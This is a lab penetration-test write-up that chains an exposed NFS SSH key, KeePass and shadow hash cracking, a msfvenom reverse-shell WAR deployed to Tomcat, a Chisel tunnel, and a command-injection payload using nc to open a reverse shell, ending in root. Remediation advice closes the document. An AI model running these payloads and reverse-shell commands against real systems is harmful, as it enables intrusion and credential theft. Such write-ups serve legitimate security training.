CASE STUDY 04: MULTI-STAGE LINUX HOST

LAB WRITEUP

Pivoting, Tomcat Application Warfare & Multi-Step Privilege Escalation

Executive Summary

This complex technical case study documents an advanced multi-step assessment of a Linux enterprise host. The attack chain spans initial SSH key harvesting from unauthenticated NFS shares, KeePass master key cracking, Apache Tomcat WAR shell deployment, internal port pivoting via Chisel, web command injection, cron job modification, and Sudo binary privilege elevation to full `root` control.

TARGET SPECIFICATION & ASSESSMENT SCOPE

Attribute	Assessment Details
Target Operating System	Ubuntu Linux 22.04 LTS (Enterprise Multi-User Host)
Initial Vector	Exposed SSH Key in Unsecured NFS Export (`/var/nfs/shared/`)
Intermediate Pivots	KeePass Hash Crack, Tomcat WAR Deployment, Chisel Port Forward
Privilege Escalation Chain	Command Injection $\rightarrow$ Cron Modification $\rightarrow$ Sudo PHP Privilege $\rightarrow$ Shadow Crack
Final Access Achieved	ROOT (UID=0 Administrative Privilege)
Assessment Category	Advanced Multi-Stage Infrastructure Assessment

1. INITIAL FOOTHOLD & CREDENTIAL HARVESTING

An initial network survey identified an unauthenticated NFS share exporting user backups, exposing a private SSH key for the initial user.

```
    # Mounting NFS Export & Harvesting SSH Key showmount -e 192.168.2.150 mount -t nfs 192.168.2.150:/var/nfs/shared /mnt/nfs cp /mnt/nfs/id_rsa ~/.ssh/id_rsa_groundfloor chmod 600 ~/.ssh/id_rsa_groundfloor ssh -i ~/.ssh/id_rsa_groundfloor groundfloor@192.168.2.150 groundfloor@evalation:~$ id # Initial foothold achieved
```

2. KEEPASS HASH CRACKING & TOMCAT DEPLOYMENT

Inside the host, a KeePass database file (`passwordsDB.kdbx`) was discovered. The file was transferred locally, converted into a crackable hash using `keepass2john`, and cracked with John the Ripper to reveal the manager credentials for an Apache Tomcat application running on port 8080.

```
# Cracking KeePass Master Password keepass2john passwordsDB.kdbx > keepass.hash john --wordli
st=/usr/share/wordlists/rockyou.txt keepass.hash # Cracked Key: "password123" -> Discovered Tomcat
Manager Credentials # Generating & Deploying Malicious WAR Package msfvenom -p java/jsp_shell_rever
se_tcp LHOST=192.168.2.100 LPORT=4444 -f war > shell.war curl -u 'admin:password123' -T shell.war
"http://192.168.2.150:8080/manager/text/deploy?path=/shell" # Shell Received as tomcat user $ id ui
d=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
```

3. PIVOTING & COMMAND INJECTION

Enumeration from the `tomcat` account revealed an internal web application listening exclusively on `127.0.0.1:80`. A Chisel tunnel was established to forward the local port to the attacker host.

```
# Setting up Chisel Tunnel # Attacker Host: ./chisel server -p 8000 --reverse # Target Host
(tomcat): ./chisel client 192.168.2.100:8000 R:8080:127.0.0.1:80 # Exploiting Parameter Command Inj
ection curl "http://localhost:8080/index.php?time-format=;%20nc%20-e%20/bin/bash%20192.168.2.100%20
5555" # Session Received as www-data
```

4. MULTI-STAGE ESCALATION TO ROOT

Escalation from `www-data` to `root` required navigating a multi-tier privilege chain across user accounts:

Account Pivot	Technique / Vector Used	Execution Detail
`www-data` $\rightarrow$ `skyhigh`	Cron Job Script Modification	Modified writable script `/home/skyhigh/cron_script.sh` executed by active cron task.
`skyhigh` $\rightarrow$ `outerspace`	Sudo Binary Execution	Executed `sudo -u outerspace php -r 'system("/bin/sh");'` via sudo privileges.
`outerspace` $\rightarrow$ `root`	Shadow Backup Crack	Read backup shadow file at `/var/backups/shadow` and cracked root password hash.

```
# Cracking harvested shadow hash for root john --wordlist=/usr/share/wordlists/rockyou.txt root_hash.txt # Output: root:shadowpass1 su - root Password: shadowpass1 root@evalation:~# id uid=0(root) gid=0(root) groups=0(root)
```

Impact Summary: This assessment demonstrates how minor misconfigurations (NFS share exposure, weak password reuse, internal unauthenticated services) can be chained together by an attacker to completely traverse network boundaries and obtain full system control.

5. KEY FINDINGS & REMEDIATION ROADMAP

- **Enforce Secrets Management:** Never store private SSH keys or KeePass database files in public network shares or unprotected directories.
- **Isolate Management Consoles:** Restrict access to Tomcat administrative interfaces (`/manager`) using IP filtering and enforce strong multi-factor authentication.
- **Input Sanitization:** Sanitize all HTTP parameters passed to system shell execution routines to prevent command injection vulnerabilities.
- **File Integrity & Sudo Hardening:** Secure scheduled cron scripts against modification by unprivileged accounts and remove unnecessary PHP execution privileges in `/etc/sudoers`.